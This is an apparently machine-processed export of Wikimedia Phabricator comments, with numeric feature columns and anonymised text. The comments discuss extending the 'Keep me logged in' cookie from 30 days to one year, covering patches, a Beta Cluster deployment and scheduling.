> I've added a page documenting this at https://www.mediawiki.org/wiki/%22Keep_me_logged_in%22_extended_to_one_year .

Maybe a good place to mention all the recent and ongoing security improvements (stronger password requirements for admins, 2FA, login, T11838)? Some people will no doubt have questions about the security effects of the change.",,,1471035982,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,2.0,0.0,0.0,0.0,1.0,8.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,2.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,10.0,0.0,2.0,14.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,1.0,0.0,4.11,0.71,"Thanks for making this happen, Matt!

Is there a good reason not to change CODE globally to show the length of the login session? That would be the most far-reaching way to communicate this change, and seems like a sensible thing to do in general.

QUOTE
QUOTE

Maybe a good place to mention all the recent and ongoing security improvements (stronger password requirements for admins, 2FA, login, T11838)? Some people will no doubt have questions about the security effects of the change."
710951,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","That i18n change is not a blocker.

This is now on the Beta Cluster as well.",,,1471034966,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,21.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.263157894736842,0.8947368421052632,"That i18n change is not a blocker.

This is now on the Beta Cluster as well."
710915,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVaAWograH8PnNb4DwLu} [2016-08-12T20:03:51Z] <mattflaschen@tin> Synchronized wmf-config/CommonSettings-labs.php: T68699: Enable one-year login on Beta Cluster.  Scheduled for prod on Tuesday. (duration: 00m 52s)",,,1471032232,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.610169491525424,0.8135593220338984,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-08-12T20:03:51Z] <mattflaschen@tin> Synchronized wmf-config/CommonSettings-labs.php: T68699: Enable one-year login on Beta Cluster.  Scheduled for prod on Tuesday. (duration: 00m 52s)"
710910,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 304501 merged by jenkins-bot:
Set one year login in Beta Cluster

[[https://gerrit.wikimedia.org/r/304501]]",,,1471031878,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5,0.9090909090909091,"Change 304501 merged by jenkins-bot:
Set one year login in Beta Cluster

[[GERRIT_URL]]"
710906,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 304501 had a related patch set uploaded (by Mattflaschen):
Set one year login in Beta Cluster

[[https://gerrit.wikimedia.org/r/304501]]
",,,1471031233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7777777777777777,0.8888888888888888,"Change 304501 had a related patch set uploaded (by Mattflaschen):
Set one year login in Beta Cluster

[[GERRIT_URL]]
"
710857,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 304493 had a related patch set uploaded (by Mattflaschen):
Rm unused 'remembermypassword' message, doc another

[[https://gerrit.wikimedia.org/r/304493]]
",,,1471026696,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.137931034482759,0.8620689655172413,"Change 304493 had a related patch set uploaded (by Mattflaschen):
Rm unused 'remembermypassword' message, doc another

[[GERRIT_URL]]
"
710950,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I've added a page documenting this at https://www.mediawiki.org/wiki/%22Keep_me_logged_in%22_extended_to_one_year .

It is scheduled for this Tuesday (2016-08-16) during the 15:00 UTC SWAT window.

@Whatamidoing-WMF will be be helping to communicate the change.",,,1471034947,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,18.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,9.0,0.0,5.0,9.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,3.590909090909091,0.8409090909090909,"I've added a page documenting this at URL .

It is scheduled for this Tuesday (2016-08-16) during the 15:00 UTC SWAT window.
SCREEN_NAME-WMF will be be helping to communicate the change."
710838,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I've added a page documenting this at https://www.mediawiki.org/wiki/%22Keep_me_logged_in%22_extended_to_one_year .

It is scheduled for this Tuesday (2016-08-16).

@Whatamidoing-WMF will be be helping to communicate the change.",,,1471024686,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,5.0,8.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.4473684210526314,0.8421052631578947,"I've added a page documenting this at URL .

It is scheduled for this Tuesday (2016-08-16).
SCREEN_NAME-WMF will be be helping to communicate the change."
709789,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",I'm having a meeting with Matt today to see if any CL time would be nice concerning that change.,,,1470900170,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,14.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,3.7142857142857144,1.0,I'm having a meeting with Matt today to see if any CL time would be nice concerning that change.
708975,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",Done prep work.  Checking with @Mpaulson about timing now.  I would like to do it this week.,,,1470787256,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,57,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,Done prep work.  Checking withSCREEN_NAME about timing now.  I would like to do it this week.
706159,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Removing this from the #research-and-data board, since we're not planning to do any immediate work on this. Ping us if you need more help.",,,1470349002,,PHID-USER-qb5aoo443n6fezsozhv4,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,57,True,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,15.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,3.0,12.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,9.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,3.484848484848485,0.9090909090909091,"Removing this from the #research-and-data board, since we're not planning to do any immediate work on this. Ping us if you need more help."
694172,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2458976, @Whatamidoing-WMF wrote:
> Other steps:
> 
> * Tell me when to expect this.
> * Plan a party to celebrate.
> 
> Is this going to invalidate existing logins, or will it just take effect the next time that you'd have to login anyway?

It shouldn't affect already-logged-in sessions.",,,1468458045,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,54,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,24.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.44,0.52,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It shouldn't affect already-logged-in sessions."
693888,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Other steps:

* Tell me when to expect this.
* Plan a party to celebrate.

Is this going to invalidate existing logins, or will it just take effect the next time that you'd have to login anyway?
",,,1468433087,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,53,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,2.0,9.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,9.0,0.0,2.0,0.0,0.0,6.0,0.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,3.4468085106382977,0.8297872340425532,"Other steps:

* Tell me when to expect this.
* Plan a party to celebrate.

Is this going to invalidate existing logins, or will it just take effect the next time that you'd have to login anyway?
"
692331,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","See https://wikitech.wikimedia.org/wiki/User:Mattflaschen/Cookies (that's a draft of the cookie info Legal needs).  I will:

* Do a final retest
* Coordinate with @Mpaulson again
* Notify Tech News

before putting up the config for SWAT

Any other steps?",,,1468270647,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,53,True,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,8.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.4791666666666665,0.8541666666666666,"See URL (that's a draft of the cookie info Legal needs).  I will:

* Do a final retest
* Coordinate withSCREEN_NAME again
* Notify Tech News

before putting up the config for SWAT

Any other steps?"
686559,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2417254, @Johan wrote:
> Will this go into production next week, as ReleaseTaggerBot suggests?

No. The user-facing change is https://gerrit.wikimedia.org/r/#/c/230954/ (in config) which will have immediate effect when it's merged. Not scheduled yet – if we get a final round of 'go's I think w/c 11 July would work, though.",,,1467282301,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,52,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,7.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,15.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,7.0,6.0,7.0,0.0,2.0,0.0,7.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,3.111111111111111,0.9259259259259259,"QUOTE
QUOTE

No. The user-facing change is URL (in config) which will have immediate effect when it's merged. Not scheduled yet – if we get a final round of 'go's I think w/c 11 July would work, though."
686545,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Will this go into production next week, as ReleaseTaggerBot suggests?",,,1467281469,,PHID-USER-go2ym6ta2zn6ofdsrqnx,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Will this go into production next week, as ReleaseTaggerBot suggests?"
684274,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 295553 merged by jenkins-bot:
Make CentralAuth explicitly say which cookies need to be extended

[[https://gerrit.wikimedia.org/r/295553]]",,,1466791173,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.2,0.92,"Change 295553 merged by jenkins-bot:
Make CentralAuth explicitly say which cookies need to be extended

[[GERRIT_URL]]"
684273,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 295551 merged by jenkins-bot:
Extended login: Don't use a $wg config variable, add UserName

[[https://gerrit.wikimedia.org/r/295551]]",,,1466791170,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,3.4827586206896552,0.896551724137931,"Change 295551 merged by jenkins-bot:
Extended login: Don't use a $wg config variable, add UserName

[[GERRIT_URL]]"
683608,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","This may affect user_touched, which is set after the user logs in (since if people use 'Keep me logged in', they will now log in more rarely).",,,1466688680,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,51,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,9.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,18.0,3.0,0.0,6.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,3.411764705882353,0.8823529411764706,"This may affect user_touched, which is set after the user logs in (since if people use 'Keep me logged in', they will now log in more rarely)."
683221,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","With this config (testing further locally):

If you //don't// choose ""Keep me logged in"", centralauth_User, UserID and UserName (the latter only with my above patch) will have a one-year expiration.  Although it will indeed not keep you logged in (due to not setting Token), this is probably not what the user would want and expect.

So I think this needs more work.",,,1466620436,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,50,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,1.0,0.0,4.0,0.0,11.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,5.0,2.0,1.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,11.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,7.0,10.0,6.0,0.0,2.0,0.0,7.0,0.0,1.0,1.0,1.0,2.0,1.0,0.0,0.0,3.7901234567901234,0.7654320987654321,"With this config (testing further locally):

If you //don't// choose ""Keep me logged in"", centralauth_User, UserID and UserName (the latter only with my above patch) will have a one-year expiration.  Although it will indeed not keep you logged in (due to not setting Token), this is probably not what the user would want and expect.

So I think this needs more work."
683194,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I hit an issue where the cookies CentralAuth needed (specifically User) was not consistent with what the core variable was.  We shouldn't make a CentralAuth-specific change to the core variable, and we shouldn't make end-users change the $wg, since they shouldn't need to know implementation-specific details about how the cookies are used.

So I changed how this works in those two patches.  Hopefully, we can get those two, and the config change, reviewed and deployed soon.",,,1466617734,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,50,True,0.0,0.0,0.0,1.0,4.0,4.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,5.0,0.0,11.0,6.0,0.0,1.0,3.0,1.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,8.0,3.0,8.0,4.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.02,0.64,"I hit an issue where the cookies CentralAuth needed (specifically User) was not consistent with what the core variable was.  We shouldn't make a CentralAuth-specific change to the core variable, and we shouldn't make end-users change the $wg, since they shouldn't need to know implementation-specific details about how the cookies are used.

So I changed how this works in those two patches.  Hopefully, we can get those two, and the config change, reviewed and deployed soon."
683143,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 295553 had a related patch set uploaded (by Mattflaschen):
Make CentralAuth explicitly say which cookies need to be extended

[[https://gerrit.wikimedia.org/r/295553]]
",,,1466614028,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,50,True,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,4.333333333333333,0.9,"Change 295553 had a related patch set uploaded (by Mattflaschen):
Make CentralAuth explicitly say which cookies need to be extended

[[GERRIT_URL]]
"
683133,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 295551 had a related patch set uploaded (by Mattflaschen):
Extended login: Don't use a $wg config variable, add UserName

